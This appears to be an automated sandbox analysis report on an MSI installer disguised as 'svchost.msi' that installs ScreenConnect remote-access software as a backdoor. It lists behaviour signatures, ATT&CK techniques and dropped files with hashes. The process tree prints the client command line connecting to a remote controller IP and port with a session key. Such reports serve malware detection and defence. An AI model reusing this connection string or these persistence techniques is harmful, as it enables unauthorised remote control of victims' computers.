Overview

overview

8

Static

static

3

svchost.msi

windows10-2004-x64

8

svchost.msi

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/10/2026, 11:32

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    svchost.msi
  • Size 9.5MB
  • Sample261027-nnec2scw2w
  • SHA256 82425d0578018a3b269c3a80bbbac8bb92d1312cafbdd290afda3af59c7a3a12
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
backdoordiscoverypersistenceprivilege_escalationransomwareratrevoked_codesign

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
    persistenceprivilege_escalation
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\svchost.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:5580
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4272
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding B2F524A22F632E1EC291E2CDF74965E7 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2292
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI68D2.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240740812 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1148
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5188
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 640DD0A62D8A7B551CACCA4BBF98A1E1
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3092
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 445F71E586D7B486F8570181A1F2AE64 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1620
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2652
    • C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=193.24.211.243&p=8041&s=3334cf61-5d69-4cc7-b33b-fda9d602db2f&k=BgIAAACkAABSU0ExAAgAAAEAAQDJuIQVPyNxCSqaCLCY4oXc3tNVSSt%2bg2nkYYSL40FHUBwe18f0%2bsiHNFUJ94wBiYFbp7EBSgrkK98Gx3lcFHtaHSzquDkU0vUuiyG0X19zUOSo90r9vE6YyRkLHfS7upjL6IIxhk3GmVya82JJioaj2dPi%2fi5kq84gfU8%2fGbet07mw7ex1hCdj9TSYfvZVP96kxnyf23zEvNtGYSLhdrSUTGTLCVF4TTBZoq1%2f2MCtIiEJ6uMLLy4WJBhHg9VyS%2bQgVpLdcCLNjHweOOcnKZ3EB90e%2fh5TJ7Wjd5OKwj5RAz4O1vDkk9jOtvaPtIqGq5PnR%2fRlvCm5QLQ%2bwFyXAv%2bd"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3924
      • C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.WindowsClient.exe" "RunRole" "18d64717-fb5b-43a0-a449-426c69921f1f" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2352
      • C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.WindowsClient.exe" "RunRole" "5469a6a8-6680-4b24-95e2-26ba21b98490" "System"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:1116

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Persistence

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          2
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Installer Packages

          1
          T1546.016

          Privilege Escalation

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          2
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Installer Packages

          1
          T1546.016

          Defense Evasion

          Modify Registry

          1
          T1112

          System Binary Proxy Execution

          1
          T1218

          Msiexec

          1
          T1218.007

          Credential Access

          Discovery

          Peripheral Device Discovery

          2
          T1120

          Query Registry

          3
          T1012

          System Information Discovery

          3
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          System Network Configuration Discovery

          1
          T1016

          Lateral Movement

          Collection

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e59b05c.rbs
          • Path C:\Config.Msi\e59b05c.rbs
          • Size 214KB
          • SHA256 5aec35499898c4dbc0392ab3236a1f0b1498fddd4af82dd5144e014898968307
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Client.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsAuthenticationPackage.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe.config
          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ScreenConnect.WindowsCredentialProvider.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          app.config
          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\app.config
          • Size 508B
          • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          system.config
          • Path C:\Program Files (x86)\ScreenConnect Client (d86b05dad7d71eb3)\system.config
          • Size 940B
          • SHA256 7f97f3696f72c1b50c5caa072f5362e9157ee184a99050d9ac774fa7ab76eb1a
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          MSI68D2.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\MSI68D2.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Microsoft.Deployment.WindowsInstaller.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI68D2.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI68D2.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.InstallerActions.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI68D2.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI68D2.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          MSIB628.tmp
          • Path C:\Windows\Installer\MSIB628.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          e59b05d.msi
          • Path C:\Windows\Installer\e59b05d.msi
          • Size 9.5MB
          • SHA256 82425d0578018a3b269c3a80bbbac8bb92d1312cafbdd290afda3af59c7a3a12
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          metadata-2
          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 062a67dda1230db26b04809f57f936d041d3c525c0a3bde49ed6eb07296499b3
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          {5cec45c3-badc-4dd9-8181-1ac63580b280}_OnDiskSnapshotProp
          • Path \??\Volume{d1fc2eb0-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{5cec45c3-badc-4dd9-8181-1ac63580b280}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 68ba10683ac04a5ed08848c23b0d42e8a8645c7cff10a4b654814e315b668f4c
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/1148-31-0x0000000005E30000-0x00000000063EA000-memory.dmp
          Download

          memory/1148-18-0x00000000032B0000-0x00000000032DE000-memory.dmp
          Download

          memory/1148-22-0x0000000003300000-0x000000000330A000-memory.dmp
          Download

          memory/1148-30-0x00000000056C0000-0x000000000586A000-memory.dmp
          Download

          memory/1148-26-0x00000000033B0000-0x000000000343C000-memory.dmp
          Download

          memory/2352-117-0x000000001BB10000-0x000000001BC98000-memory.dmp
          Download

          memory/2352-118-0x0000000000E10000-0x0000000000E28000-memory.dmp
          Download

          memory/2352-119-0x0000000002640000-0x0000000002658000-memory.dmp
          Download

          memory/2352-114-0x00000000025E0000-0x0000000002616000-memory.dmp
          Download

          memory/2352-115-0x000000001B120000-0x000000001B1AC000-memory.dmp
          Download

          memory/2352-116-0x000000001B7D0000-0x000000001B97A000-memory.dmp
          Download

          memory/2352-113-0x0000000000510000-0x00000000005A6000-memory.dmp
          Download

          memory/3924-73-0x0000000001930000-0x0000000001948000-memory.dmp
          Download

          memory/3924-99-0x0000000004450000-0x0000000004486000-memory.dmp
          Download

          memory/3924-104-0x0000000004720000-0x00000000047F2000-memory.dmp
          Download

          memory/3924-102-0x00000000043B0000-0x00000000043F1000-memory.dmp
          Download

          memory/3924-94-0x0000000004400000-0x0000000004450000-memory.dmp
          Download

          memory/3924-100-0x0000000004530000-0x00000000045C2000-memory.dmp
          Download